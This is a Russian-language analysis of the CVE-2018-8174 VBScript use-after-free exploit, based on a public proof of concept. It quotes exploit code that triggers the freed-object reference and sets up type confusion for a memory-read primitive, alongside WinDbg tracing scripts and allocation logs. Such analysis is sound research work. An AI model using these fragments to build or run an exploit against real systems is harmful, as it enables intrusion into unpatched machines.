
Анализ VBS-эксплойта CVE-2018-8174
Когда этот эксплойт впервые появился на рубеже апреля и мая, он вызвал мой интерес, поскольку, несмотря на сильную обфускацию, структура кода казалась хорошо организованной, а код эксплуатации уязвимости — достаточно компактным, что упрощало анализ. Я скачал POC с github и решил, что это хороший кандидат для изучения внутреннего устройства. На тот момент уже были опубликованы два анализа: первый от 360 и второй от Kaspersky. Оба помогли мне понять, как это работает, но не были достаточными для глубокого понимания каждого аспекта эксплойта. Поэтому я решил проанализировать его самостоятельно и поделиться результатами.
Сначала, чтобы убрать целочисленную обфускацию, я использовал замену регулярных выражений в скрипте Python:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # крайне безопасно :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
Что касается обфусцированных имён, я переименовывал их постепенно в процессе анализа. Этот анализ лучше всего читать вместе с исходным кодом, ссылка на который приведена в конце.
Уязвимость возникает, когда объект уничтожается и вызывается пользовательская функция Class_Terminate(). В этой функции ссылка на освобождаемый объект сохраняется в UafArray. Теперь UafArray(i) ссылается на удалённый объект.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' исправляем счётчик ссылок
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Также обратите внимание на последнюю строку в Class_Terminate(). Когда мы копируем объект ClassTerminate в UafArray, его счётчик ссылок увеличивается. Чтобы сбалансировать это, мы снова освобождаем его, присваивая другое значение FreedObjectArray. Без этого память объекта не была бы освобождена, несмотря на вызов Class_Terminate, и следующий объект не был бы размещён на его месте.

Создание и удаление новых объектов повторяется 7 раз в цикле, после чего создаётся новый объект класса ReuseClass. Он выделяется в той же памяти, которая ранее была занята 7 экземплярами ClassTerminate.
Чтобы лучше это понять, вот простой скрипт WinDbg, отслеживающий все эти выделения:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Вот журнал выделений из функции UafTrigger:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
Мы сразу видим, что ReuseClass действительно выделяется в той же памяти, которая была назначена 7 предыдущим экземплярам ClassTerminate.
Это повторяется дважды. В итоге мы получаем два объекта, на которые ссылаются UafArrays. Ни одна из этих ссылок не отражена в счётчике ссылок объекта.
В этом журнале также можно заметить, что даже после вызова Class_Terminate выполняются некоторые манипуляции с объектом, изменяющие его счётчик ссылок.
Поэтому, если бы мы не сбалансировали этот счётчик в Class_Terminate, мы бы получили что-то вроде:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Другие адреса выделения. Эксплойт не смог бы создать условие use after free.
Создав эти два объекта с 7 неучтёнными ссылками на каждый, мы установили примитив произвольного чтения памяти.
Есть два похожих класса ReuseClass и FakeReuseClass. Замена первого класса вторым приводит к type confusion для члена mem.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' на самом деле вызовет Default Property Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
В функции SetProp сохраняется ReuseClass.mem и вызывается Default Property Get класса ReplacingClass_*, результат этого вызова будет помещён в ReuseClass.mem.